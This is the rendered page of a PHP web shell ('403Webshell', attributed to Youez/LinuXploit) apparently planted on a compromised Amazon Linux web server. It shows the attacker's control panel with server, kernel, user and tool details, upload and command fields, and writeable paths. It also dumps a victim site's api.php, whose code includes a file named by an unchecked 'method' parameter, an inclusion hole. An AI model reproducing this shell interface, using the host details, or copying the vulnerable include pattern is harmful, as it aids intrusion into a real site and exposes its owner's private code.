403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/wwwdevplanner/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/wwwdevplanner/api.php
<?php
	define('TIMEZONE', 'America/New_York');
	date_default_timezone_set(TIMEZONE);
	session_start();
	$_POST = json_decode(file_get_contents("php://input"), true);
	include_once('db_conn.php');
	$ar_api_result = array();
	$api_result = false;
	$api_result_message = '';
	$con = mysqli_connect($db_server,$db_user,$db_pwd, $GLOBALS["db_name"]);
	if (!$con) :
		$api_result = false;
		$api_result_message = 'Could not connect!';
	else :
		mysqli_set_charset($con, "UTF8");
		$sql_tz = "SET time_zone = 'America/New_York'";
		mysqli_query($GLOBALS['con'], $sql_tz);
	endif;
	$authorized_call = 1; 
	$method = mysqli_real_escape_string($GLOBALS['con'], $_GET['method']);
	include_once('mod/_functions.php'); 
	//var_dump($_POST);
	$sql = "SELECT * FROM api_keys WHERE api_key = '".mysqli_real_escape_string($GLOBALS['con'], $_POST['apikey'])."' AND active = 1";
	//echo ' === '.$sql.' === ';
	$result = mysqli_query($GLOBALS['con'], $sql) or die('API Database error!');
	if (mysqli_num_rows($result) > 0) :
		include_once('api/'.$method.'.php');
	else :
		$api_result = false;
		$api_result_message = 'API Key Not Authorized!';
	endif;
	$ar_api_result['api_result'] = $api_result;
	$ar_api_result['api_result_message'] = $api_result_message;
	echo json_encode($ar_api_result);
	session_write_close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit